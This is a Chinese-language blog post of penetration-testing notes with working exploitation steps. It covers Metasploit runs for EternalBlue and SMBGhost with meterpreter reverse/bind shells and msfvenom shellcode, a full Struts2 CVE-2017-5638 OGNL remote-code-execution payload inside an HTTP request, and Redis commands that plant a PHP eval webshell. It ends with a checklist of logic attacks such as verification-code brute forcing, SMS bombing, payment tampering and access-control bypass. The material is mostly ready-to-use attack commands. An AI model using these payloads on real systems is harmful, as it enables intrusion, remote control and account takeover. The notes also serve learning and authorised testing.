经典漏洞利用

windows

1. 永恒之蓝(MS17-010)漏洞利用

windows XP 445端口

nmap扫描:

nmap --script smb-vuln-ms17-010.nse 192.168.29.131

利用:

msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.29.131
set lhost 192.168.29.129
run

2. 永恒之黑(CVE-2020-0796)漏洞利用

windows 10

nmap检测脚本

https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse

nmap扫描:

nmap --script CVE-2020-0796 192.168.29.133

生成木马

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python

#-p windows/x64/meterpreter/bind_tcp 设置payload为windows64位meterpreter控制台下的正向连接
#LPORT=6666 设置开发端口为6666
#-b '\x00' 设置在生成的程序中避免出现'\x00'
#-i 1 设置编码次数为一次
#-f python 设置生成python格式文件

下载POC

https://github.com/chompie1337/SMBGhost_RCE_PoC

将生成的buf加入文件,并搜索USER_PAYLOAD,将"KERNEL_SHELLCODE += USER_PAYLOAD"改为"KERNEL_SHELLCODE += buf"

开启msf监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.29.133
run

运行exp

python3 exploit.py -ip 192.168.29.133

最后一步按回车执行shellcode,然后在监听端就可以getshell

(不稳定,很容易打蓝屏,win10一旦被打蓝屏就会自动更新,修复漏洞,需要用快照恢复)

Struts2

1. Struts2-045(CVE-2017-5638)

Struts 2.3.5–Struts 2.3.31;Struts 2.5–Struts 2.5.10

Struts2在判断请求的Content-Type不正确时会抛出异常,并且在异常中会带上Content-Type属性值。

而基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)请求时会对异常进行捕获,并对异常信息进行OGNL表达式处理。

因此在Content-Type属性中构造OGNL表达式就可以导致远程代码执行。

POC:

Content-Type:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

struts2上传时抓包,将Content-Type值改为payload:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 344
Origin: http://localhost:8080
DNT: 1
Connection: close
Referer: http://localhost:8080/struts2-showcase/fileupload/upload.action
Cookie: JSESSIONID=FDB26033D44E55EE030219CD481B6FD2; JSESSIONID=E451583867B41DAEA1F392058BEB8EBE
Upgrade-Insecure-Requests: 1

-----------------------------848318764455778412216306604
Content-Disposition: form-data; name="upload"; filename="123.md"
Content-Type: application/octet-stream

123456
-----------------------------848318764455778412216306604
Content-Disposition: form-data; name="caption"

-----------------------------848318764455778412216306604--

redis

1. redis未授权访问漏洞

由于redis服务器没有设置密码,导致可以任意访问。

可以获取或设置redis变量,改变rdb文件路径和文件名,从而可向任何文件写入数据。

需要redis服务器关闭保护模式,允许外部ip访问,设置节点可写操作,要写入文件必须redis-server以root权限启动。

(1)可向网站根目录文件写入webshell

连接服务器后,设置一个redis变量为webshell,将rdb文件指定为网站根目录中的文件,然后执行save将所有redis变量写入该文件中。

$ redis-cli -h 192.168.29.130 #连接redis服务器
192.168.29.130:6379> set . "\n\n<?php @eval($_POST[cmd]);?>\n\n" #设置变量.为php一句话木马,前后加换行
OK
192.168.29.130:6379> config set dir /var/www/html #设置rdb文件目录为网站根目录
OK
192.168.29.130:6379> config set dbfilename phpinfo.php #设置rdb文件名为phpinfo.php(文件不存在会自动创建)
OK
192.168.29.130:6379> save #将当前redis实例的所有数据快照以rdb文件的形式保存到硬盘(需要redis-server以root权限启动)
OK

apache

Superset

CVE-2023-27524

Apache Superset <= 2.0.1

未授权访问漏洞

逻辑漏洞

1. 注册

前端验证

查看是否能修改前端,绕过限制。

用burp抓包,查看每个返回包是否有true、false等判断参数,尝试将false改为true,绕过验证码等限制。(若只在前端判断,则会存在此漏洞)

尝试是否能重复注册,可将任意账户重置。

手机验证码注册

若验证码无有效期,或有效期过长,可尝试爆破验证码。

在验证码正确情况下,尝试修改发送包的手机号。(没有将验证码与手机号匹配,会造成任意用户注册)

burp抓发送短信验证码的包,尝试连续重放,若手机能收到多条短信,则存在短信轰炸。(后端没有限制对同一手机号的发送时间间隔)

查看发送验证码短信后,是否有包含验证码的数据包发到前端。(有些使用前端验证,在生成验证码后会同时发送到手机和前端)

2. 登陆

前端验证

burp抓包,查看返回包中是否有true、false等判断,尝试将false改为true,造成任意用户登录。

登陆成功时,查看返回包中是否有用户id等(或token),尝试任意用户登录。

手机验证码登陆

若验证码无有效期,可尝试爆破,造成任意用户登陆。

正确验证码时,尝试修改发送包的手机号,任意用户登陆。

尝试重发发送短信包,短信轰炸。

查看发送验证码短信后,是否有包含验证码的数据包发到前端。

3. 找回密码

前端验证

burp抓包,查看返回包中是否有判断参数,尝试修改判断参数,造成任意用户密码修改。

验证成功时,查看返回包中是否有用户id(或token),尝试任意用户密码修改。

手机验证码找回

若验证码无有效期,可尝试爆破,造成任意用户密码修改

正确验证码时,尝试修改发送包的手机号,任意用户密码修改。

尝试重发发送短信包,短信轰炸。

查看发送验证码短信后,是否有包含验证码的数据包发到前端。

邮箱找回

构造链接修改用户参数(token等)

4. 支付与越权

支付

提交订单或者结算时,修改商品id,数量,金额,订单号等参数。

直接修改前端,修改订单金额,如form表单的value值。

获取支付成功的数据包,将另一个订单提交时的参数填入,提交。

越权

登陆时修改身份标识。

查看自己信息时抓包,将用户标识替换为另一个账号。(另一个账号的标识可以从注册、密码找回、用户信息等地方找)

修改账户信息时抓包,将用户标识替换为另一个账号。

登陆成功时查看是否有返回当前用户敏感信息的json,将用户标识换成另一个账号。

查看是否有访问控制,如直接进入管理员页面,任意下载文件,

posted @ 2024-09-12 17:06  lnjoy  阅读(17)  评论(0编辑  收藏  举报